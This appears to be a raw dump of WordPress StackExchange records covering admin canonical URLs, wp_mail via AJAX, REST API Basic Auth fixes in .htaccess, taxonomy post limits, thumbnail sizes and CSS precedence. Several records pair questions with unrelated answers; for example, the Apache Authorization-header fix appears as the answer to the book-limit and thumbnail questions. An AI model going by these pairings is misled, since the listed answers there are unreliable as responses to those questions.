"text": "<h2>What is frontend & what is backend in WordPress?</h2>\n\n<p>The PHP CODE, SQL Queries etc. that are executed on your server is the <strong>backend</strong> & any HTML/CSS/JavaScript CODE that comes to the browser as a result, is the <strong>frontend</strong>.</p>\n\n<p>So even though, some parts of your site's <strong>\"frontend\"</strong> may be restricted by a password protected barrier, it's still considered as frontend. It's more accurate if you call it <strong>WordPress Admin Panel</strong>, instead of calling it the backend.</p>\n\n<h2>Why would WordPress Admin Panel pages need <code>rel=\"canonical\"</code>?</h2>\n\n<p>Unless for a <strong>very very rare</strong> use case where you may make the admin pages public, there can be no SEO benefits from it. However, <code>rel=\"canonical\"</code> can still be used (even for the admin panel pages): <strong>As part of the standard practice</strong>.</p>\n\n<p>For a web page, <code>rel=\"canonical\"</code> means:</p>\n\n<blockquote>\n <p>The web page URL that is recognized as the go to URL for a collection of different pages having very similar or the same content.</p>\n</blockquote>\n\n<p>Since this is the standard practice, even if you don't get any SEO benefit from it, it's still the right thing to do.</p>\n\n<h2>Where does it come from:</h2>\n\n<p>WordPress added <code>wp_admin_canonical_url()</code> function in WordPress 4.2. <code>rel=\"canonical\"</code> part was there from the beginning & WordPress developers found no reason to remove it since then.</p>\n\n<p>The original change came from the support ticket titled: <a href=\"https://core.trac.wordpress.org/ticket/23367\" rel=\"noreferrer\">Remove message parameters from admin URl's in the browser address bar</a>. And if you go through the discussion, you'll see that the <code>rel=canonical</code> part was added as part of standard practice, <strong>nothing more</strong>.</p>\n\n<p>Check the <a href=\"https://core.trac.wordpress.org/ticket/23367#comment:25\" rel=\"noreferrer\">comment</a> from the original developer:</p>\n\n<blockquote>\n <ol start=\"3\">\n <li><code>rel=canonical</code> is a standard practice, and I think this is a good use of it. </li>\n </ol>\n</blockquote>\n\n<h2>Why WordPress needs the <code><link id=\"wp-admin-canonical\" /></code> tag?</h2>\n\n<p>As evident from the above discussion, <code>rel=canonical</code> part of the <code><link></code> tag is only there for standard practice, however, the <code><link></code> tag:</p>\n\n<pre><code><link id=\"wp-admin-canonical\" rel=\"canonical\" href=\"__URL__\" />\n</code></pre>\n\n<p>itself is functional. It was added to keep the URL & browser history clean from <strong>single-use query variable names</strong>. </p>\n\n<p>For example, if you activate a Plugin, at the top of your admin panel, it gives you a message like:</p>\n\n<blockquote>\n <p>Plugin activated.</p>\n</blockquote>\n\n<p>After that, say you close the browser & open it back again later (or simply refresh the page). At that point, prior to WordPress 4.2 (if the browser is set to open the last opened tab), the page would still say:</p>\n\n<blockquote>\n <p>Plugin activated</p>\n</blockquote>\n\n<p>even though nothing really happened this time. Same applies when you use browser back button (because the message is shown in response to the single-use URL parameters from browser history as well).</p>\n\n<p>This happens because WordPress redirects you to a URL like:</p>\n\n<pre><code>http://example.com/wp-admin/plugins.php?activate=true&plugin_status=all&paged=1&s=\n</code></pre>\n\n<p>after you activate a plugin. Notice the <code>activate=true</code> query string in the URL. This has no purpose other than showing you that \"<strong>Plugin activated</strong>\" message. So it has no use in the URL or browser history after the \"<strong>Plugin activated</strong>\" message is delivered to you.</p>\n\n<p>That's why, in WordPress 4.2 <a href=\"https://core.trac.wordpress.org/browser/tags/4.9.7/src/wp-admin/includes/misc.php#L1076\" rel=\"noreferrer\"><code>wp_admin_canonical_url()</code></a> function was introduced, where <code><link id=\"wp-admin-canonical\" /></code> tag keeps the reference to the canonical version of the URL without the <strong>single-use query variable</strong> part & then the JavaScript CODE from the function replaces it from the browser's history entry.</p>\n\n<p>As of writing this, there are 23 such <strong>single-use query variables</strong> that can be removed from the canonical URL from <a href=\"https://core.trac.wordpress.org/browser/tags/4.9.7/src/wp-includes/functions.php#L857\" rel=\"noreferrer\"><code>wp_removable_query_args()</code></a> function:</p>\n\n<pre><code>'activate', 'activated', 'approved', 'deactivate', 'deleted',\n'disabled', 'enabled', 'error', 'hotkeys_highlight_first', \n'hotkeys_highlight_last', 'locked', 'message', 'same', 'saved',\n'settings-updated', 'skipped', 'spammed', 'trashed', 'unspammed', \n'untrashed', 'update', 'updated', 'wp-post-new-reload'\n</code></pre>\n\n<p>However, it can be extended from Plugins or Themes using the <code>removable_query_args</code> filter hook.</p>\n"
}
]
| 2018/05/13 | [
"https://wordpress.stackexchange.com/questions/303478",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142190/"
]
| I am using ***wp\_mail()*** to send email using ajax. My mail code is as follow.
```
add_action( 'wp_ajax_send_confirmation_email', 'wpse_sendmail' );
add_action( 'wp_ajax_nopriv_send_confirmation_email', 'wpse_sendmail' );
function wpse_sendmail() {
if(isset($_GET['is_email']) && $_GET['is_email'] == true){
$temp_dir = get_template_directory_uri();
$url = $temp_dir."/confirm_email.php?id=".$_REQUEST['id']."&key=".$_REQUEST['key'];
$message = "Username:".$_REQUEST['name']."Click on below link to confirm your email;".$url;
$subject = "Email confirmation Link";
$headers = "From: [email protected]" . "\r\n";
if ( wp_mail( $_REQUEST['email'], $subject, $message, $headers ) ) {
echo "1";
} else {
echo "0";
}
}
}
```
And AJAX Code is as follow
```
add_action('wp_footer','my_scripts');
function my_scripts(){
?>
<script type="text/javascript">
jQuery("#send").click(function(e){
e.preventDefault(); // if the clicked element is a link
//...
var confirm_email=jQuery("#confirm_email").val();
var confirm_key=jQuery("#confirm_key").val();
var user_email='<?php echo $current_user->user_email;?>';
var display_name='<?php echo $current_user->display_name;?>';
var user_id='<?php echo $current_user->ID;?>';
var data = { 'action':'send_confirmation_email', 'email':'confirm_email','key':'confirm_key','name':'display_name','id':'user_id','is_email':'true' };
jQuery.post('<?php echo admin_url('admin-ajax.php'); ?>', data, function(response) {
if(response=="1"){
jQuery(".confirm_email_section").html("<span class='alert alert-success'>Confirmation link sent to your email. Check your email<span>");
}
else{
jQuery(".confirm_email_section").html("<span class='alert alert-danger'>Error Occured<span>");
}
});
});
</script>
<?php
}
```
Every parameter passed with ajax are receiving into above ***wpse\_sendmail()*** function but email is not sending. ***It always returns false***. And email is ***also not sending with mail() function in functions.php*** ***but working within a custom file***. I don't know that what is going wrong. If any one help me, i will be thankful. | What is frontend & what is backend in WordPress?
------------------------------------------------
The PHP CODE, SQL Queries etc. that are executed on your server is the **backend** & any HTML/CSS/JavaScript CODE that comes to the browser as a result, is the **frontend**.
So even though, some parts of your site's **"frontend"** may be restricted by a password protected barrier, it's still considered as frontend. It's more accurate if you call it **WordPress Admin Panel**, instead of calling it the backend.
Why would WordPress Admin Panel pages need `rel="canonical"`?
-------------------------------------------------------------
Unless for a **very very rare** use case where you may make the admin pages public, there can be no SEO benefits from it. However, `rel="canonical"` can still be used (even for the admin panel pages): **As part of the standard practice**.
For a web page, `rel="canonical"` means:
>
> The web page URL that is recognized as the go to URL for a collection of different pages having very similar or the same content.
>
>
>
Since this is the standard practice, even if you don't get any SEO benefit from it, it's still the right thing to do.
Where does it come from:
------------------------
WordPress added `wp_admin_canonical_url()` function in WordPress 4.2. `rel="canonical"` part was there from the beginning & WordPress developers found no reason to remove it since then.
The original change came from the support ticket titled: [Remove message parameters from admin URl's in the browser address bar](https://core.trac.wordpress.org/ticket/23367). And if you go through the discussion, you'll see that the `rel=canonical` part was added as part of standard practice, **nothing more**.
Check the [comment](https://core.trac.wordpress.org/ticket/23367#comment:25) from the original developer:
>
> 3. `rel=canonical` is a standard practice, and I think this is a good use of it.
>
>
>
Why WordPress needs the `<link id="wp-admin-canonical" />` tag?
---------------------------------------------------------------
As evident from the above discussion, `rel=canonical` part of the `<link>` tag is only there for standard practice, however, the `<link>` tag:
```
<link id="wp-admin-canonical" rel="canonical" href="__URL__" />
```
itself is functional. It was added to keep the URL & browser history clean from **single-use query variable names**.
For example, if you activate a Plugin, at the top of your admin panel, it gives you a message like:
>
> Plugin activated.
>
>
>
After that, say you close the browser & open it back again later (or simply refresh the page). At that point, prior to WordPress 4.2 (if the browser is set to open the last opened tab), the page would still say:
>
> Plugin activated
>
>
>
even though nothing really happened this time. Same applies when you use browser back button (because the message is shown in response to the single-use URL parameters from browser history as well).
This happens because WordPress redirects you to a URL like:
```
http://example.com/wp-admin/plugins.php?activate=true&plugin_status=all&paged=1&s=
```
after you activate a plugin. Notice the `activate=true` query string in the URL. This has no purpose other than showing you that "**Plugin activated**" message. So it has no use in the URL or browser history after the "**Plugin activated**" message is delivered to you.
That's why, in WordPress 4.2 [`wp_admin_canonical_url()`](https://core.trac.wordpress.org/browser/tags/4.9.7/src/wp-admin/includes/misc.php#L1076) function was introduced, where `<link id="wp-admin-canonical" />` tag keeps the reference to the canonical version of the URL without the **single-use query variable** part & then the JavaScript CODE from the function replaces it from the browser's history entry.
As of writing this, there are 23 such **single-use query variables** that can be removed from the canonical URL from [`wp_removable_query_args()`](https://core.trac.wordpress.org/browser/tags/4.9.7/src/wp-includes/functions.php#L857) function:
```
'activate', 'activated', 'approved', 'deactivate', 'deleted',
'disabled', 'enabled', 'error', 'hotkeys_highlight_first',
'hotkeys_highlight_last', 'locked', 'message', 'same', 'saved',
'settings-updated', 'skipped', 'spammed', 'trashed', 'unspammed',
'untrashed', 'update', 'updated', 'wp-post-new-reload'
```
However, it can be extended from Plugins or Themes using the `removable_query_args` filter hook. |
303,479 | <p>I am using the rest api in Wordpress. For authentication I use the Basic authentication plugin (<a href="https://github.com/WP-API/Basic-Auth" rel="nofollow noreferrer">JSON Basic Authentication</a>)</p>
<p>I use this request (from both postman and nodejs): </p>
<pre><code>POST /wp-json/wp/v2/posts HTTP/1.1
Host: **************
Authorization: Basic *********************
Content-Type: application/json
Cache-Control: no-cache
{ "title": "test", "content": "test", "status": "private", "excerpt": "test" }
</code></pre>
<p>When testing locally on my server, it works fine but on a VPS I get the following error: </p>
<pre><code>{
"code": "rest_cannot_create",
"message": "Sorry, you are not allowed to create posts as this user",
"data": {
"status": 401
}
}
</code></pre>
<p>I know the user credentials are correct and the user is allowed to create posts. </p>
<p>I suspect that the auth header is lost somewhere before arriving to rest-api. But where should I start debugging? Which logs? </p>
| [
{
"answer_id": 310898,
"author": "mrbarletta",
"author_id": 117671,
"author_profile": "https://wordpress.stackexchange.com/users/117671",
"pm_score": 2,
"selected": false,
"text": "<p><code>Authorization</code> header is usually stripped by Apache. </p>\n\n<p>You can fix it with <code>.htaccess</code> </p>\n\n<pre><code>RewriteEngine On\nRewriteCond %{HTTP:Authorization} ^(.*)\nRewriteRule .* - [e=HTTP_AUTHORIZATION:%1]\n</code></pre>\n"
},
{
"answer_id": 344436,
"author": "Antony Fuentes",
"author_id": 173054,
"author_profile": "https://wordpress.stackexchange.com/users/173054",
"pm_score": 2,
"selected": false,
"text": "<p>If you are here because you have already tried everything and still can't create resources via Wordpress Rest API, then let me share what worked for me.</p>\n\n<p>First of all, let me give you some context here, I got WordPress launched on an AWS instance using Bitnami.</p>\n\n<p>Then I installed WooCommerce and enabled its API in order to play with it as a sandbox system. Immediately after that, I tried to create products using Postman but every time I got errors like \"<code>woocommerce_rest_cannot_create</code>\" (\"<code>Sorry, you are not allowed to create resources.</code>\"). I tried different authentication methods such as <code>OAuth</code> and <code>Basic Auth</code> but none of them worked.</p>\n\n<p>So I thought that maybe I should try WordPress API endpoint instead (instead of Woocommerce's endpoint) and see if I could create posts or users, though that didn't work either. I got errors like:</p>\n\n<ul>\n<li>\"<code>rest_cannot_create</code>\" (<code>\"Sorry, you are not allowed to create posts as this user.\"</code>)</li>\n<li>\"<code>rest_cannot_create_user</code>\" (\"<code>Sorry, you are not allowed to create new users</code>\")</li>\n</ul>\n\n<p>Here is what worked for me:</p>\n\n<ul>\n<li>Install <a href=\"https://github.com/WP-API/Basic-Auth\" rel=\"nofollow noreferrer\">Basic Auth plugin</a>, you can install it by cloning the repo into <code>/opt/bitnami/apps/wordpress/htdocs/wp-content/plugins</code> and then activate it from the plugins page in WP Admin page. Or you can also download the repo as a zip and install from a file from the plugins page in WP Admin. </li>\n<li>Change postman (or whatever you are using to send your requests) to use Basic Auth. Use the creds of an existing Administrator user.</li>\n<li>Edit the <code>.htaccess</code> file available in <code>/opt/bitnami/apps/wordpress/htdocs</code> (This file is hidden, don't freak out if you can't see it)</li>\n<li>Add a new line under <code>RewriteEngine On</code> and insert <code>RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization}]</code> save and exit</li>\n<li>Edit <code>/opt/bitnami/apps/wordpress/conf/httpd-app.conf</code> add a new line after <code>RewriteEngine On</code></li>\n<li>In the new line insert: <code>RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]</code> save and exit</li>\n<li>Restart Apache: <code>sudo /opt/bitnami/ctlscript.sh restart apache</code></li>\n<li>(OPTIONAL) Install <a href=\"https://github.com/georgestephanis/application-passwords\" rel=\"nofollow noreferrer\">Application Passwords By George Stephanis</a></li>\n</ul>\n\n<p>Then I tried again from Postman and everything worked flawlessly.</p>\n\n<p>For more details check:\n<a href=\"https://community.bitnami.com/t/setting-up-api-access-to-wordpress-on-aws-ec2-instance/60589/7\" rel=\"nofollow noreferrer\">https://community.bitnami.com/t/setting-up-api-access-to-wordpress-on-aws-ec2-instance/60589/7</a></p>\n"
}
]
| 2018/05/13 | [
"https://wordpress.stackexchange.com/questions/303479",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142680/"
]
| I am using the rest api in Wordpress. For authentication I use the Basic authentication plugin ([JSON Basic Authentication](https://github.com/WP-API/Basic-Auth))
I use this request (from both postman and nodejs):
```
POST /wp-json/wp/v2/posts HTTP/1.1
Host: **************
Authorization: Basic *********************
Content-Type: application/json
Cache-Control: no-cache
{ "title": "test", "content": "test", "status": "private", "excerpt": "test" }
```
When testing locally on my server, it works fine but on a VPS I get the following error:
```
{
"code": "rest_cannot_create",
"message": "Sorry, you are not allowed to create posts as this user",
"data": {
"status": 401
}
}
```
I know the user credentials are correct and the user is allowed to create posts.
I suspect that the auth header is lost somewhere before arriving to rest-api. But where should I start debugging? Which logs? | `Authorization` header is usually stripped by Apache.
You can fix it with `.htaccess`
```
RewriteEngine On
RewriteCond %{HTTP:Authorization} ^(.*)
RewriteRule .* - [e=HTTP_AUTHORIZATION:%1]
``` |
303,485 | <p>I'm using <a href="https://github.com/DevinVinson/WordPress-Plugin-Boilerplate" rel="nofollow noreferrer">DevinVinson/WordPress-Plugin-Boilerplate</a> as the base of the plugin, I already created a custom post type as <code>book</code> and a taxonomy linked to it as <code>rack</code>.</p>
<p>What I need is to limit the number of books to 10 per rack; if the number exceeds, it should save the post as a draft and show an error.. lost right now .. need help.. </p>
<p>Here's what I have so far!</p>
<pre><code>private function define_admin_hooks() {
$this->loader->add_action( 'save_post', $plugin_admin, 'save_post' );
$this->loader->add_action( 'admin_notices', $plugin_admin, 'admin_notices' );
}
</code></pre>
<p>I've another admin class in which the above mentioned functions are defined</p>
<pre><code>public function save_post( $post_id ) {
global $post;
if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE)
return;
if (isset($_POST['post_type']) && $_POST['post_type'] == 'book') {
// If the book is assigned to taxonomy "rack" having more than 10 books, the admin_notices function is to be called
return;
}
}
public function admin_notices() {
if ( ! isset( $_GET['YOUR_QUERY_VAR'] ) ) {
return;
}
?>
<div class="error">
<p><?php _e( 'Max Book limit reached for the selected rack!', 'odin-lms' ); ?></p>
</div>
<?php
}
</code></pre>
| [
{
"answer_id": 310898,
"author": "mrbarletta",
"author_id": 117671,
"author_profile": "https://wordpress.stackexchange.com/users/117671",
"pm_score": 2,
"selected": false,
"text": "<p><code>Authorization</code> header is usually stripped by Apache. </p>\n\n<p>You can fix it with <code>.htaccess</code> </p>\n\n<pre><code>RewriteEngine On\nRewriteCond %{HTTP:Authorization} ^(.*)\nRewriteRule .* - [e=HTTP_AUTHORIZATION:%1]\n</code></pre>\n"
},
{
"answer_id": 344436,
"author": "Antony Fuentes",
"author_id": 173054,
"author_profile": "https://wordpress.stackexchange.com/users/173054",
"pm_score": 2,
"selected": false,
"text": "<p>If you are here because you have already tried everything and still can't create resources via Wordpress Rest API, then let me share what worked for me.</p>\n\n<p>First of all, let me give you some context here, I got WordPress launched on an AWS instance using Bitnami.</p>\n\n<p>Then I installed WooCommerce and enabled its API in order to play with it as a sandbox system. Immediately after that, I tried to create products using Postman but every time I got errors like \"<code>woocommerce_rest_cannot_create</code>\" (\"<code>Sorry, you are not allowed to create resources.</code>\"). I tried different authentication methods such as <code>OAuth</code> and <code>Basic Auth</code> but none of them worked.</p>\n\n<p>So I thought that maybe I should try WordPress API endpoint instead (instead of Woocommerce's endpoint) and see if I could create posts or users, though that didn't work either. I got errors like:</p>\n\n<ul>\n<li>\"<code>rest_cannot_create</code>\" (<code>\"Sorry, you are not allowed to create posts as this user.\"</code>)</li>\n<li>\"<code>rest_cannot_create_user</code>\" (\"<code>Sorry, you are not allowed to create new users</code>\")</li>\n</ul>\n\n<p>Here is what worked for me:</p>\n\n<ul>\n<li>Install <a href=\"https://github.com/WP-API/Basic-Auth\" rel=\"nofollow noreferrer\">Basic Auth plugin</a>, you can install it by cloning the repo into <code>/opt/bitnami/apps/wordpress/htdocs/wp-content/plugins</code> and then activate it from the plugins page in WP Admin page. Or you can also download the repo as a zip and install from a file from the plugins page in WP Admin. </li>\n<li>Change postman (or whatever you are using to send your requests) to use Basic Auth. Use the creds of an existing Administrator user.</li>\n<li>Edit the <code>.htaccess</code> file available in <code>/opt/bitnami/apps/wordpress/htdocs</code> (This file is hidden, don't freak out if you can't see it)</li>\n<li>Add a new line under <code>RewriteEngine On</code> and insert <code>RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization}]</code> save and exit</li>\n<li>Edit <code>/opt/bitnami/apps/wordpress/conf/httpd-app.conf</code> add a new line after <code>RewriteEngine On</code></li>\n<li>In the new line insert: <code>RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]</code> save and exit</li>\n<li>Restart Apache: <code>sudo /opt/bitnami/ctlscript.sh restart apache</code></li>\n<li>(OPTIONAL) Install <a href=\"https://github.com/georgestephanis/application-passwords\" rel=\"nofollow noreferrer\">Application Passwords By George Stephanis</a></li>\n</ul>\n\n<p>Then I tried again from Postman and everything worked flawlessly.</p>\n\n<p>For more details check:\n<a href=\"https://community.bitnami.com/t/setting-up-api-access-to-wordpress-on-aws-ec2-instance/60589/7\" rel=\"nofollow noreferrer\">https://community.bitnami.com/t/setting-up-api-access-to-wordpress-on-aws-ec2-instance/60589/7</a></p>\n"
}
]
| 2018/05/13 | [
"https://wordpress.stackexchange.com/questions/303485",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/58627/"
]
| I'm using [DevinVinson/WordPress-Plugin-Boilerplate](https://github.com/DevinVinson/WordPress-Plugin-Boilerplate) as the base of the plugin, I already created a custom post type as `book` and a taxonomy linked to it as `rack`.
What I need is to limit the number of books to 10 per rack; if the number exceeds, it should save the post as a draft and show an error.. lost right now .. need help..
Here's what I have so far!
```
private function define_admin_hooks() {
$this->loader->add_action( 'save_post', $plugin_admin, 'save_post' );
$this->loader->add_action( 'admin_notices', $plugin_admin, 'admin_notices' );
}
```
I've another admin class in which the above mentioned functions are defined
```
public function save_post( $post_id ) {
global $post;
if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE)
return;
if (isset($_POST['post_type']) && $_POST['post_type'] == 'book') {
// If the book is assigned to taxonomy "rack" having more than 10 books, the admin_notices function is to be called
return;
}
}
public function admin_notices() {
if ( ! isset( $_GET['YOUR_QUERY_VAR'] ) ) {
return;
}
?>
<div class="error">
<p><?php _e( 'Max Book limit reached for the selected rack!', 'odin-lms' ); ?></p>
</div>
<?php
}
``` | `Authorization` header is usually stripped by Apache.
You can fix it with `.htaccess`
```
RewriteEngine On
RewriteCond %{HTTP:Authorization} ^(.*)
RewriteRule .* - [e=HTTP_AUTHORIZATION:%1]
``` |
303,494 | <p>In my theme there is a set of </p>
<pre><code>add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 470, 680 );
</code></pre>
<p>which is actually generating one more image besides the default <strong>small</strong>,<strong>medium</strong>,<strong>medium-large</strong>,<strong>large</strong></p>
<p>and it is set from the author of the theme for specific purposes of course.</p>
<p>I am using the <a href="https://codex.wordpress.org/Function_Reference/wp_insert_attachment" rel="nofollow noreferrer">wp_insert_attachment()</a> default function for uploading image from front-end. From only this specific procedure i don't want the generation of multiply images.<strong>Only the original image and the thumbnail image.</strong> So i made this simple code </p>
<pre><code>function test_attachment( $user_data, $values, $user_id ) {
if( isset( $values['profile']['user_avatar']['path'] ) ) {
$filename = $values['profile']['user_avatar']['path'];
$filetype = wp_check_filetype( basename( $filename ), null );
$wp_upload_dir = wp_upload_dir();
$attachment = array(
'guid' => $wp_upload_dir['url'] . '/' . basename( $filename ),
'post_mime_type' => $filetype['type'],
'post_title' => preg_replace( '/\.[^.]+$/', '', basename( $filename ) ),
'post_content' => '',
'post_status' => 'inherit'
);
$attach_id = wp_insert_attachment( $attachment, $filename );
require_once( ABSPATH . 'wp-admin/includes/image.php' );
//remove all the generated images and just keep only the original and the thumbnail image.
add_filter('intermediate_image_sizes_advanced', function($sizes) {
unset( $sizes['medium']);
unset( $sizes['medium_large']);
unset( $sizes['large']);
return $sizes;
});
$attach_data = wp_generate_attachment_metadata( $attach_id, $filename );
wp_update_attachment_metadata( $attach_id, $attach_data );
$previous_avatar_id = get_user_meta( $user_id, 'avatar_attachment_id', true );
if( $previous_avatar_id ) {
wp_delete_attachment( $previous_avatar_id );
}
update_user_meta( $user_id, 'avatar_attachment_id', $attach_id );
}
}
</code></pre>
<p>which is working great and actually unsetting the generation of default image sizes with <em>intermediate_image_sizes_advanced</em>, <em>but still there is a generation of the post-thumbnail image.</em>
I have been trying to unset also the creation of the post-thumbnail image. I tried to add </p>
<pre><code>unset( $sizes['post-thumbnail']);
</code></pre>
<p>but no luck.</p>
<p>How is possible to <em>stop the generation of post-thumbnail image from inside the parser</em> and without removing the original <em>set_post_thumbnail_size</em> as it is set there for other specific purposes?</p>
<p>Any ideas would be appreciated.</p>
| [
{
"answer_id": 310898,
"author": "mrbarletta",
"author_id": 117671,
"author_profile": "https://wordpress.stackexchange.com/users/117671",
"pm_score": 2,
"selected": false,
"text": "<p><code>Authorization</code> header is usually stripped by Apache. </p>\n\n<p>You can fix it with <code>.htaccess</code> </p>\n\n<pre><code>RewriteEngine On\nRewriteCond %{HTTP:Authorization} ^(.*)\nRewriteRule .* - [e=HTTP_AUTHORIZATION:%1]\n</code></pre>\n"
},
{
"answer_id": 344436,
"author": "Antony Fuentes",
"author_id": 173054,
"author_profile": "https://wordpress.stackexchange.com/users/173054",
"pm_score": 2,
"selected": false,
"text": "<p>If you are here because you have already tried everything and still can't create resources via Wordpress Rest API, then let me share what worked for me.</p>\n\n<p>First of all, let me give you some context here, I got WordPress launched on an AWS instance using Bitnami.</p>\n\n<p>Then I installed WooCommerce and enabled its API in order to play with it as a sandbox system. Immediately after that, I tried to create products using Postman but every time I got errors like \"<code>woocommerce_rest_cannot_create</code>\" (\"<code>Sorry, you are not allowed to create resources.</code>\"). I tried different authentication methods such as <code>OAuth</code> and <code>Basic Auth</code> but none of them worked.</p>\n\n<p>So I thought that maybe I should try WordPress API endpoint instead (instead of Woocommerce's endpoint) and see if I could create posts or users, though that didn't work either. I got errors like:</p>\n\n<ul>\n<li>\"<code>rest_cannot_create</code>\" (<code>\"Sorry, you are not allowed to create posts as this user.\"</code>)</li>\n<li>\"<code>rest_cannot_create_user</code>\" (\"<code>Sorry, you are not allowed to create new users</code>\")</li>\n</ul>\n\n<p>Here is what worked for me:</p>\n\n<ul>\n<li>Install <a href=\"https://github.com/WP-API/Basic-Auth\" rel=\"nofollow noreferrer\">Basic Auth plugin</a>, you can install it by cloning the repo into <code>/opt/bitnami/apps/wordpress/htdocs/wp-content/plugins</code> and then activate it from the plugins page in WP Admin page. Or you can also download the repo as a zip and install from a file from the plugins page in WP Admin. </li>\n<li>Change postman (or whatever you are using to send your requests) to use Basic Auth. Use the creds of an existing Administrator user.</li>\n<li>Edit the <code>.htaccess</code> file available in <code>/opt/bitnami/apps/wordpress/htdocs</code> (This file is hidden, don't freak out if you can't see it)</li>\n<li>Add a new line under <code>RewriteEngine On</code> and insert <code>RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization}]</code> save and exit</li>\n<li>Edit <code>/opt/bitnami/apps/wordpress/conf/httpd-app.conf</code> add a new line after <code>RewriteEngine On</code></li>\n<li>In the new line insert: <code>RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]</code> save and exit</li>\n<li>Restart Apache: <code>sudo /opt/bitnami/ctlscript.sh restart apache</code></li>\n<li>(OPTIONAL) Install <a href=\"https://github.com/georgestephanis/application-passwords\" rel=\"nofollow noreferrer\">Application Passwords By George Stephanis</a></li>\n</ul>\n\n<p>Then I tried again from Postman and everything worked flawlessly.</p>\n\n<p>For more details check:\n<a href=\"https://community.bitnami.com/t/setting-up-api-access-to-wordpress-on-aws-ec2-instance/60589/7\" rel=\"nofollow noreferrer\">https://community.bitnami.com/t/setting-up-api-access-to-wordpress-on-aws-ec2-instance/60589/7</a></p>\n"
}
]
| 2018/05/13 | [
"https://wordpress.stackexchange.com/questions/303494",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/129972/"
]
| In my theme there is a set of
```
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 470, 680 );
```
which is actually generating one more image besides the default **small**,**medium**,**medium-large**,**large**
and it is set from the author of the theme for specific purposes of course.
I am using the [wp\_insert\_attachment()](https://codex.wordpress.org/Function_Reference/wp_insert_attachment) default function for uploading image from front-end. From only this specific procedure i don't want the generation of multiply images.**Only the original image and the thumbnail image.** So i made this simple code
```
function test_attachment( $user_data, $values, $user_id ) {
if( isset( $values['profile']['user_avatar']['path'] ) ) {
$filename = $values['profile']['user_avatar']['path'];
$filetype = wp_check_filetype( basename( $filename ), null );
$wp_upload_dir = wp_upload_dir();
$attachment = array(
'guid' => $wp_upload_dir['url'] . '/' . basename( $filename ),
'post_mime_type' => $filetype['type'],
'post_title' => preg_replace( '/\.[^.]+$/', '', basename( $filename ) ),
'post_content' => '',
'post_status' => 'inherit'
);
$attach_id = wp_insert_attachment( $attachment, $filename );
require_once( ABSPATH . 'wp-admin/includes/image.php' );
//remove all the generated images and just keep only the original and the thumbnail image.
add_filter('intermediate_image_sizes_advanced', function($sizes) {
unset( $sizes['medium']);
unset( $sizes['medium_large']);
unset( $sizes['large']);
return $sizes;
});
$attach_data = wp_generate_attachment_metadata( $attach_id, $filename );
wp_update_attachment_metadata( $attach_id, $attach_data );
$previous_avatar_id = get_user_meta( $user_id, 'avatar_attachment_id', true );
if( $previous_avatar_id ) {
wp_delete_attachment( $previous_avatar_id );
}
update_user_meta( $user_id, 'avatar_attachment_id', $attach_id );
}
}
```
which is working great and actually unsetting the generation of default image sizes with *intermediate\_image\_sizes\_advanced*, *but still there is a generation of the post-thumbnail image.*
I have been trying to unset also the creation of the post-thumbnail image. I tried to add
```
unset( $sizes['post-thumbnail']);
```
but no luck.
How is possible to *stop the generation of post-thumbnail image from inside the parser* and without removing the original *set\_post\_thumbnail\_size* as it is set there for other specific purposes?
Any ideas would be appreciated. | `Authorization` header is usually stripped by Apache.
You can fix it with `.htaccess`
```
RewriteEngine On
RewriteCond %{HTTP:Authorization} ^(.*)
RewriteRule .* - [e=HTTP_AUTHORIZATION:%1]
``` |
303,509 | <p>I have started to convert my static page to WordPress theme. While I am doing this I have a place where the position of the background image of a section has to be set with values like <code>background-position:0 80%;</code>.</p>
<p>When I add the CSS to my custom CSS file which is main.css I found out there an internal CSS which is overriding my CSS like <code>background-postion:center !important</code>.</p>
<p>Then I changed my CSS to <code>background-position:0 80%; !important</code></p>
<p>But it still doesn't work and I found out my CSS file is included before the internal CSS in the head ( <strong>by view page source code</strong>).</p>
<p>Now what I want to know is how can I change the order or how can I import my custom CSS (<strong>main.css</strong>) file after the internal CSS code?</p>
| [
{
"answer_id": 303510,
"author": "Dharmishtha Patel",
"author_id": 135085,
"author_profile": "https://wordpress.stackexchange.com/users/135085",
"pm_score": 0,
"selected": false,
"text": "<p>Style blocks that aren't from the stylesheet stink. I truly despise it when theme developers put them in their theme. The only thing worse is inline styles (ie ). Those are virtually impossible to overcome.</p>\n\n<p>In your case, there's a couple of hack-tastic way to overcome this hacky issue.</p>\n\n<p>In your child theme's functions.php file, you can use the following (Admittedly hacky) solution:</p>\n\n<p>// We're adding a HIGH priority of 9999 which should cause this to be output AFTER the theme's bad styles.</p>\n\n<pre><code>add_action('wp_head', 'fix_bad_theme_styles', 9999);\n\nfunction fix_bad_theme_styles() { ?>\n <style type=\"text/css\" data-type=\"vc_custom-css\">\n #site-header:not(.shrink) .site-title { padding: 1px 0 !important; }\n </style>\n<?php }\n</code></pre>\n\n<p>If that doesn't work, an even hackier way would be to put the style in the footer. It'll work, but it's not best-practice (as if any of this solution is!):</p>\n\n<pre><code>add_action('wp_footer', 'fix_bad_theme_styles');\n</code></pre>\n"
},
{
"answer_id": 303524,
"author": "D. Dan",
"author_id": 133528,
"author_profile": "https://wordpress.stackexchange.com/users/133528",
"pm_score": 2,
"selected": true,
"text": "<p>First of all it should be: <code>background-position:0 80% !important;</code>\nYou said this style is applied to sections. How?\nIf you just add another selector, like instead using:</p>\n\n<pre><code>article{\nbackground-position:0 80% !important;\n}\n</code></pre>\n\n<p>use:</p>\n\n<pre><code>body article{\nbackground-position:0 80% !important;\n}\n</code></pre>\n\n<p>it may just work without any hacks.</p>\n"
}
]
| 2018/05/14 | [
"https://wordpress.stackexchange.com/questions/303509",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143574/"
]
